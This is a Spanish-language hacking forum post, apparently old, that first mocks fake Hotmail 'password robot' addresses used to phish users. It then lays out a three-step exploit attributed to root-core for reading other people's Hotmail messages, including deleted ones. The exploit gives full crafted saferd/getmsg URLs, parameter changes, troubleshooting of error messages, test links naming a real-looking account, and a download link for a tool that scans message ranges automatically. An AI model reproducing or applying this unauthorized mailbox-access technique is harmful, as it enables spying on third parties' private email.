Existen ciertos rumores y muchas paginas que te dices su manera de como hackear hotmail muchas paginas te dicen drecciones atencion estas direcciones son "FALSAS" direcciones ingeniosas como
retwar_password@hotmail.com
usuario_1@hotmail.com
userpasswords@hotmail.com
y otras tan idiotas que no cabe en la cabeza de algun tonto hacerles caso como
te_regreso_tu_password_original@hotmail.com
micuenta_fue_robada@hotmail.com
robot_de_passwords@hotmail.com
¬_¬ y por ahi otras cuentas bien piratonas y mas falsas a mas no poder donde te piden el password de la cuenta pero para que demonios quieren mi pasword siyo el que quiero es otro bueno esa es mi pregunta formulada despues de ver unas 20 paginas que dicen mandar mail ah kien save donde pero solo son tipos que te piden un password (tuyo) y despues sé meten a tu cuenta y haciendoce decir asi hackers...
y esta comunidad como trata de hacking viene un pequeño truco adaptador para que sé den una idea y les avizo de una vez con esto no sé va a saber el password de la persona pero si puedes andar metiendote en algunas cuentas ;)
Este exploit de root-core (http://www.root-core.com/) permite ver
ciertos mensajes de cuentas de correo de hotmail conociendo
el nombre de usuario.
Tres Pasos para ver algunos correos en Hotmail
(Probado con Internet Explorer 5)
Para ver completamente un mensaje de alguna cuenta de hotmail hay que
hacer lo siguiente:
1. Acceder a Hotmail normalmente con tu nombre de usuario o con
cualquier otro que conozcas.
2. Utiliza un link como este para ver un mensaje específico de un
usuario específico:
http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?
_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%
2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22%26start%3d1%26len%
3d9999999999999999%26raw%3d0%26login%3dusername%26domain%3dhotmail%
2ecom&hm___fl=attrd&domain=hotmail.com
o bien:
http://lw14fd.law14.hotmail.msn.com/cgi-bin/saferd?
_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%
2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22%26start%3d1%26len%
3d9999999999999999%26raw%3d0%26login%3dusername%26domain%3dhotmail%
2ecom&hm___fl=attrd&domain=hotmail.com
De ese link cambia los siguientes valores:
MSG943322803%2e16 (Número de mensaje, es símplemente un
contador. %2e
equivale a "." )
username (El nombre de usuario de la cuenta de correo que
quieras espiar)
Ejemplos de números de mensaje:
MSG943322803%2e1
MSG943322803%2e22
MSG943322803%2e149
(borra "%26raw%3d0" si quieres ver el correo como una ventana normal
de hotmail en lugar de ver el mensaje como texto sin formato)
(borra "&hm___fl=attrd&domain=hotmail.com" si no quieres que aparezca
el frame superior de hotmail)
Nota. Todo lo parecido a "%2e", etc. son códigos ascii
hexadecimal.
Debes utilizarlos en lugar de los caracteres normales.
Aquí tienes una lista completa:
http://s_p_o_k.americas.tripod.com/ascci.htm
3. Ya está. Si introduces un número de mensaje correcto puedes
leer ese determinado mensaje (siempre que exista ese mensaje claro :)
(Comprueba el método antes con tus propios mensajes en hotmail
para saber como funciona).
Como teclear cada vez un número de mensaje es un trabajo bastante
pesado, los chicos de root core han creado una pequeña utilidad
para escanear automáticamente un rango de mensajes de un usuario
específico.
La puedes bajar aquí:
http://rootcore.can-host.
com/files/hobo04r2.zip
Para ver los mensajes necesitas trabajar con IExplorer y debes haber
entrado previamente en tu cuenta de Hotmail.
Prueba el fallo en estos links de prueba:
(1. Entra en tu cuenta de hotmail, 2. Copia estos links y pruebalos
en tu navegador)
Ejemplo texto sin formato (no se pueden ver los attach directamente)
http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?
_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%
2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22%26start%3d9702%26len%
3d9687%26raw%3d0%26disk%3d64%2e4%2e36%2e68_d1577%26login%
3djokutesti99%26domain%3dhotmail%
2ecom&hm___fl=attrd&domain=hotmail.com
ventana del buzón normal: (puedes ver imágenes, etc. )
http://pv2fd.pav2.hotmail.msn.com/cgi-bin/saferd?
_lang=EN&hm___tg=http%3a%2f%2f64%2e4%2e36%2e250%2fcgi%2dbin%
2fgetmsg&hm___qs=%26msg%3dMSG998047250%2e22%26start%3d9702%26len%
3d9687%26disk%3d64%2e4%2e36%2e68_d1577%26login%3djokutesti99%26domain%
3dhotmail%2ecom&hm___fl=attrd&domain=hotmail.com
Puedes ver también mensajes eliminados. Si borras un mensaje en
hotmail y después vacías la papelera, el mensaje es visible
usando este tipo de link durante unas 6-12 horas aproximadamente.
Correcciones y más cosas:
Cambios en el link:
Eliminar parámetro: %26disk%3d64%2e4%2e36%2e68_d1577
Este parámetro causa un error en algunos casos: "Due to an
internal error your request cannot be processed. We apologize for the
inconvenience. Please try again later."
Solución. Eliminar este parámetro del link, no es necesario.
Cambios en los parámetros: %26start%3d9702%26len%3d9687 en lugar
de %26start%3d1%26len%3d9999999999999999
Este parámetro determina justo el comienzo y la longitud
visualizable del email. Si pones el valor demasiado pequeño el
email
se verá justo ese número de carácteres.
Si el usuario no tiene ese mensaje en su buzón, se obtiene este
mensaje de error:
" Subject: Unable to locate message Content-Type: text/plain;
charset=us-ascii An error has prevented from locating the message."
Si el usuario no existe, se obtiene una página completamente en
blanco.
Si existe algún error en la sintaxis del link normalmente
aparecerá la página de acceso de hotmail pidiendo de nuevo el
password.
Si tienes dificultades para ver mensajes comprueba que has
introducido correctamente el número de mensaje.
(MSGXXXXXXXXX.YYY)
El valor Y puede ser oscilar entre 0-nnn. nnn puede ser lo que sea,
dependiendo del número de mensajes en ese buzón. 100, 200, etc.
Comprueba que la sintaxis del link es correcta.
Comprueba que has entrado en tu cuenta de Hotmail.
Prueba a cambiar el servidor. En lugar de pv2fd.pav2.hotmail ,
intentalo con lw14fd.law14.hotmail.
Si los links de prueba de Root Core ya no son operativos, sin duda es
debido a que hotmail ya ha solucionado el problema.
Lo más probable es que deje de funcionar en poco tiempo, pero de
momento comprobadlo. Los test aportados por Root Core funcionan al
100% así que el fallo sigue activo.
